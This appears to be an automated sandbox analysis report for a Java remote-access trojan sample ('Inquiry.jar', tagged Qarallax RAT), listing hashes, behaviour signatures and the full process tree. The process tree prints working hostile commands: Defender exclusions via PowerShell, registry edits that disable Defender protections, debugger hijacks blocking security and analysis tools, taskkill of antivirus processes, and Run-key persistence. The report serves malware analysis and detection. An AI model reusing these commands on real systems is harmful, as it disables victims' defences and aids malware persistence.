Analysis
-
max time kernel
134s -
max time network
157s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
19-08-2020 13:44
Static task
static1
Behavioral task
behavioral1
Sample
Inquiry.jar
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Inquiry.jar
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
Inquiry.jar
-
Size
399KB
-
MD5
5352736e23d73f99115747c7d3813320
-
SHA1
79c0cac4a1fcd477e215cdcc57e740e911d79caf
-
SHA256
2540f6138141298d986aa920209ad387686df0ffb9d715245aa1619a9776382d
-
SHA512
2c3cb218f0319a44a4ce65fe76b04af07e9bcaec5fbb6055ee099d382464d4d8d239c33086217072f82e344ca30e6850c62169dea3e0a4e092ac3590dd4cd30f
Score
10/10
Malware Config
Signatures
-
Qarallax RAT support DLL 1 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\JzfeBVTKAA4367120992026246077.xml qarallax_dll -
Sets file execution options in registry 2 TTPs
-
Loads dropped DLL 1 IoCs
Processes:
java.exepid process 508 java.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
java.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DhjUvlC = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\DNVJe\\AWHZt.class\"" java.exe Key created \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\DhjUvlC = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\DNVJe\\AWHZt.class\"" java.exe -
Drops desktop.ini file(s) 4 IoCs
Processes:
java.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Users\Admin\DNVJe\Desktop.ini java.exe File created C:\Users\Admin\DNVJe\Desktop.ini java.exe File opened for modification C:\Users\Admin\DNVJe\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\DNVJe\Desktop.ini attrib.exe -
Drops file in System32 directory 2 IoCs
Processes:
java.exedescription ioc process File opened for modification C:\Windows\System32\lcMqe java.exe File created C:\Windows\System32\lcMqe java.exe -
Kills process with taskkill 16 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4464 taskkill.exe 4768 taskkill.exe 5096 taskkill.exe 5076 taskkill.exe 4108 taskkill.exe 2520 taskkill.exe 4892 taskkill.exe 1676 taskkill.exe 4508 taskkill.exe 4492 taskkill.exe 2692 taskkill.exe 4840 taskkill.exe 3768 taskkill.exe 1588 taskkill.exe 3036 taskkill.exe 3820 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1528 powershell.exe 1528 powershell.exe 1528 powershell.exe -
Suspicious use of AdjustPrivilegeToken 122 IoCs
Processes:
WMIC.exeWMIC.exedescription pid process Token: SeIncreaseQuotaPrivilege 3088 WMIC.exe Token: SeSecurityPrivilege 3088 WMIC.exe Token: SeTakeOwnershipPrivilege 3088 WMIC.exe Token: SeLoadDriverPrivilege 3088 WMIC.exe Token: SeSystemProfilePrivilege 3088 WMIC.exe Token: SeSystemtimePrivilege 3088 WMIC.exe Token: SeProfSingleProcessPrivilege 3088 WMIC.exe Token: SeIncBasePriorityPrivilege 3088 WMIC.exe Token: SeCreatePagefilePrivilege 3088 WMIC.exe Token: SeBackupPrivilege 3088 WMIC.exe Token: SeRestorePrivilege 3088 WMIC.exe Token: SeShutdownPrivilege 3088 WMIC.exe Token: SeDebugPrivilege 3088 WMIC.exe Token: SeSystemEnvironmentPrivilege 3088 WMIC.exe Token: SeRemoteShutdownPrivilege 3088 WMIC.exe Token: SeUndockPrivilege 3088 WMIC.exe Token: SeManageVolumePrivilege 3088 WMIC.exe Token: 33 3088 WMIC.exe Token: 34 3088 WMIC.exe Token: 35 3088 WMIC.exe Token: 36 3088 WMIC.exe Token: SeIncreaseQuotaPrivilege 3088 WMIC.exe Token: SeSecurityPrivilege 3088 WMIC.exe Token: SeTakeOwnershipPrivilege 3088 WMIC.exe Token: SeLoadDriverPrivilege 3088 WMIC.exe Token: SeSystemProfilePrivilege 3088 WMIC.exe Token: SeSystemtimePrivilege 3088 WMIC.exe Token: SeProfSingleProcessPrivilege 3088 WMIC.exe Token: SeIncBasePriorityPrivilege 3088 WMIC.exe Token: SeCreatePagefilePrivilege 3088 WMIC.exe Token: SeBackupPrivilege 3088 WMIC.exe Token: SeRestorePrivilege 3088 WMIC.exe Token: SeShutdownPrivilege 3088 WMIC.exe Token: SeDebugPrivilege 3088 WMIC.exe Token: SeSystemEnvironmentPrivilege 3088 WMIC.exe Token: SeRemoteShutdownPrivilege 3088 WMIC.exe Token: SeUndockPrivilege 3088 WMIC.exe Token: SeManageVolumePrivilege 3088 WMIC.exe Token: 33 3088 WMIC.exe Token: 34 3088 WMIC.exe Token: 35 3088 WMIC.exe Token: 36 3088 WMIC.exe Token: SeIncreaseQuotaPrivilege 4044 WMIC.exe Token: SeSecurityPrivilege 4044 WMIC.exe Token: SeTakeOwnershipPrivilege 4044 WMIC.exe Token: SeLoadDriverPrivilege 4044 WMIC.exe Token: SeSystemProfilePrivilege 4044 WMIC.exe Token: SeSystemtimePrivilege 4044 WMIC.exe Token: SeProfSingleProcessPrivilege 4044 WMIC.exe Token: SeIncBasePriorityPrivilege 4044 WMIC.exe Token: SeCreatePagefilePrivilege 4044 WMIC.exe Token: SeBackupPrivilege 4044 WMIC.exe Token: SeRestorePrivilege 4044 WMIC.exe Token: SeShutdownPrivilege 4044 WMIC.exe Token: SeDebugPrivilege 4044 WMIC.exe Token: SeSystemEnvironmentPrivilege 4044 WMIC.exe Token: SeRemoteShutdownPrivilege 4044 WMIC.exe Token: SeUndockPrivilege 4044 WMIC.exe Token: SeManageVolumePrivilege 4044 WMIC.exe Token: 33 4044 WMIC.exe Token: 34 4044 WMIC.exe Token: 35 4044 WMIC.exe Token: 36 4044 WMIC.exe Token: SeIncreaseQuotaPrivilege 4044 WMIC.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
java.exepid process 508 java.exe -
Suspicious use of WriteProcessMemory 382 IoCs
Processes:
java.execmd.execmd.execmd.exedescription pid process target process PID 508 wrote to memory of 2356 508 java.exe cmd.exe PID 508 wrote to memory of 2356 508 java.exe cmd.exe PID 508 wrote to memory of 2688 508 java.exe cmd.exe PID 508 wrote to memory of 2688 508 java.exe cmd.exe PID 2688 wrote to memory of 3088 2688 cmd.exe WMIC.exe PID 2688 wrote to memory of 3088 2688 cmd.exe WMIC.exe PID 508 wrote to memory of 3828 508 java.exe cmd.exe PID 508 wrote to memory of 3828 508 java.exe cmd.exe PID 3828 wrote to memory of 4044 3828 cmd.exe WMIC.exe PID 3828 wrote to memory of 4044 3828 cmd.exe WMIC.exe PID 508 wrote to memory of 3640 508 java.exe attrib.exe PID 508 wrote to memory of 3640 508 java.exe attrib.exe PID 508 wrote to memory of 3648 508 java.exe attrib.exe PID 508 wrote to memory of 3648 508 java.exe attrib.exe PID 508 wrote to memory of 4068 508 java.exe attrib.exe PID 508 wrote to memory of 4068 508 java.exe attrib.exe PID 508 wrote to memory of 1828 508 java.exe attrib.exe PID 508 wrote to memory of 1828 508 java.exe attrib.exe PID 508 wrote to memory of 3140 508 java.exe attrib.exe PID 508 wrote to memory of 3140 508 java.exe attrib.exe PID 508 wrote to memory of 3104 508 java.exe attrib.exe PID 508 wrote to memory of 3104 508 java.exe attrib.exe PID 508 wrote to memory of 3892 508 java.exe attrib.exe PID 508 wrote to memory of 3892 508 java.exe attrib.exe PID 508 wrote to memory of 2812 508 java.exe attrib.exe PID 508 wrote to memory of 2812 508 java.exe attrib.exe PID 508 wrote to memory of 1040 508 java.exe cmd.exe PID 508 wrote to memory of 1040 508 java.exe cmd.exe PID 508 wrote to memory of 1528 508 java.exe powershell.exe PID 508 wrote to memory of 1528 508 java.exe powershell.exe PID 508 wrote to memory of 1588 508 java.exe taskkill.exe PID 508 wrote to memory of 1588 508 java.exe taskkill.exe PID 508 wrote to memory of 1844 508 java.exe reg.exe PID 508 wrote to memory of 1844 508 java.exe reg.exe PID 508 wrote to memory of 1892 508 java.exe reg.exe PID 508 wrote to memory of 1892 508 java.exe reg.exe PID 508 wrote to memory of 2352 508 java.exe reg.exe PID 508 wrote to memory of 2352 508 java.exe reg.exe PID 508 wrote to memory of 2348 508 java.exe reg.exe PID 508 wrote to memory of 2348 508 java.exe reg.exe PID 508 wrote to memory of 4052 508 java.exe reg.exe PID 508 wrote to memory of 4052 508 java.exe reg.exe PID 508 wrote to memory of 1724 508 java.exe reg.exe PID 508 wrote to memory of 1724 508 java.exe reg.exe PID 508 wrote to memory of 4036 508 java.exe reg.exe PID 508 wrote to memory of 4036 508 java.exe reg.exe PID 508 wrote to memory of 4060 508 java.exe reg.exe PID 508 wrote to memory of 4060 508 java.exe reg.exe PID 508 wrote to memory of 3844 508 java.exe reg.exe PID 508 wrote to memory of 3844 508 java.exe reg.exe PID 508 wrote to memory of 3740 508 java.exe reg.exe PID 508 wrote to memory of 3740 508 java.exe reg.exe PID 508 wrote to memory of 2104 508 java.exe reg.exe PID 508 wrote to memory of 2104 508 java.exe reg.exe PID 1040 wrote to memory of 2384 1040 cmd.exe reg.exe PID 1040 wrote to memory of 2384 1040 cmd.exe reg.exe PID 508 wrote to memory of 3080 508 java.exe reg.exe PID 508 wrote to memory of 3080 508 java.exe reg.exe PID 508 wrote to memory of 2076 508 java.exe reg.exe PID 508 wrote to memory of 2076 508 java.exe reg.exe PID 508 wrote to memory of 2348 508 java.exe reg.exe PID 508 wrote to memory of 2348 508 java.exe reg.exe PID 508 wrote to memory of 992 508 java.exe reg.exe PID 508 wrote to memory of 992 508 java.exe reg.exe -
Views/modifies file attributes 1 TTPs 8 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exepid process 3648 attrib.exe 4068 attrib.exe 1828 attrib.exe 3140 attrib.exe 3104 attrib.exe 3892 attrib.exe 2812 attrib.exe 3640 attrib.exe
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\Inquiry.jar1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\attrib.exeattrib +h C:\Users\Admin\Oracle2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +r +s C:\Users\Admin\.ntusernt.ini2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib -s -r C:\Users\Admin\DNVJe\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +s +r C:\Users\Admin\DNVJe\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib -s -r C:\Users\Admin\DNVJe2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +s +r C:\Users\Admin\DNVJe2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +h C:\Users\Admin\DNVJe2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +s +r C:\Users\Admin\DNVJe\AWHZt.class2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\DNVJe','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\DNVJe\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
